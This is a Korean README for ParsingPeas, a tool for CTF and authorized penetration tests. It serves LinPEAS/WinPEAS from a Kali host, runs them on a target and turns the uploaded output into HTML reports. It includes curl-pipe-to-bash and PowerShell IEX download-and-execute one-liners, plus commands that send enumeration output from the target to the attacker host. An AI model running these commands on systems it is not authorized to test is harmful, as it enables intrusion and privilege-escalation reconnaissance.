
PEAS 출력을 위한 추가 기능이 포함된 HTML 파서
PEASS 자동 수집 + CTF 및 실습 환경 권한 상승 작업을 위한 깔끔하고 이식 가능한 HTML 보고서
타겟에서 한 명령을 실행합니다. ParsingPeas가 Kali 호스트에서 LinPEAS/WinPEAS를 가져와 스캔을 실행하고, 출력을 다시 보내며, 읽고, 검색하고, 분류하고, 보관할 수 있는 단일 자체 포함 HTML 보고서로 변환합니다. 수동 파일 전송이나 타겟의 인터넷 연결이 필요 없습니다.
보고서 요약 — LinPEAS 자체 카테고리별로 그룹화된 섹션, 발견 표시점 및 발견 막대:

발견 항목만 — 한 번의 클릭으로 보고서와 사이드바를 심각/높음 히트가 있는 섹션으로 필터링:

전체 터미널 출력 — 완전하고 충실하게 색상이 지정된 스캔; Ctrl-F로 검색 가능:

원시 PEASS 출력은 셸이 종료되자마자 사라지는 스크롤되는 터미널 텍스트 벽입니다. ParsingPeas:
scp, linpeas 자체 호스팅, 출력을 Kali에 복사하여 붙여넣기할 필요가 없습니다..html 파일로, 상자에서 복사하거나, 보관하거나, 더블 클릭하여 오프라인으로 열 수 있습니다.이는 프레젠테이션 + 물류이며, 익스플로잇 엔진이 아닙니다. PEASS 자체 색상과 발견 항목을 충실히 보존하며 재해석하지 않습니다.
file://을 통해 열립니다.N 심각 / N 높음 칩이 플래그가 지정된 섹션 사이를 이동하며, 색상 범례 제공.bash) 및 WinPEAS (PowerShell).git clone https://github.com/YuvalMil/ParsingPeas.git
cd ParsingPeas
./setup.sh # scripts/에 LinPEAS + WinPEAS 다운로드
pip3 install -r requirements.txt
python3 receiver.py # http://0.0.0.0:8005에서 서비스
receiver.py를 계속 실행합니다. 타겟이 당신에게 연결할 수 있는 IP를 찾으십시오:
tun0 주소 — ip -4 addr show tun0Linux/Unix (curl 사용, wget으로 대체 가능):
curl -sSL http://YOUR_KALI_IP:8005/get-script | bash
Windows (PowerShell / 리버스 셸):
powershell -ExecutionPolicy Bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://YOUR_KALI_IP:8005/get-script.ps1')"
타겟 OS와 일치하는 원라이너를 선택하십시오 — Linux는 LinPEAS, Windows는 WinPEAS를 제공합니다.
보고서는 Kali 호스트의 ./reports/에 생성됩니다. 다음 중 하나를 수행하십시오:
http://YOUR_KALI_IP:8005**에서 인덱스를 탐색하고 보고서를 클릭하거나, 또는xdg-open ./reports/report_<host>_<timestamp>.html
해당 단일 .html 파일을 원하는 곳에 복사하십시오. 단독으로 작동합니다.
타겟 → Kali에서 래퍼 다운로드 → PEASS 실행 → 출력 POST → Kali가 구문 분석 → 자체 포함 HTML 보고서
타겟은 인터넷이 필요하지 않습니다 — 래퍼와 PEASS 바이너리는 모두 호스트에서 제공됩니다.
원라이너가 실패할 경우 수동으로 수행하십시오.
Linux:
# 타겟에서
curl http://KALI_IP:8005/get-linpeas -o /tmp/lp.sh
chmod +x /tmp/lp.sh
/tmp/lp.sh > /tmp/out.txt
# 다시 보내기
curl -X POST -H "X-Hostname: $(hostname)" -H "X-Scan-Type: linpeas" \
--data-binary @/tmp/out.txt http://KALI_IP:8005/upload
Windows (PowerShell):
Invoke-WebRequest -Uri http://KALI_IP:8005/get-winpeas -OutFile $env:TEMP\wp.exe
& "$env:TEMP\wp.exe" > $env:TEMP\out.txt
Invoke-WebRequest -Uri http://KALI_IP:8005/upload -Method POST `
-Headers @{"X-Hostname"=$env:COMPUTERNAME; "X-Scan-Type"="winpeas"} `
-InFile $env:TEMP\out.txt
이미 가지고 있는 PEASS 덤프를 구문 분석:
python3 parser.py /path/to/peas_output.txt # ./reports/에 HTML 보고서 작성
receiver.py 상단을 편집하십시오:
curl http://KALI_IP:8005/health로 연결 확인; sudo ufw allow 8005/tcp로 방화벽 열기./get-linpeas에서 404? ./setup.sh를 실행하여 PEASS 바이너리를 가져오십시오.⚠️ 허가된 침투 테스트, CTF 및 실습 환경 전용입니다.
PEASS-ng 기반, @carlospolop 제공. ParsingPeas는 출력을 수집하고 표시만 합니다.
MIT 라이선스 · 기여 환영
| 설정 | 기본값 | 설명 |
|---|
| 포트 | 8005 | app.run(... port=...) 줄 변경 |
OUTPUT_DIR | ./received_outputs | 원시 업로드된 스캔 |
REPORTS_DIR | ./reports | 생성된 HTML 보고서 |
SCRIPTS_DIR | ./scripts | LinPEAS/WinPEAS 바이너리 |
MAX_UPLOAD_SIZE | 10 MB | 강제 적용 — 더 큰 업로드는 HTTP 413 반환 |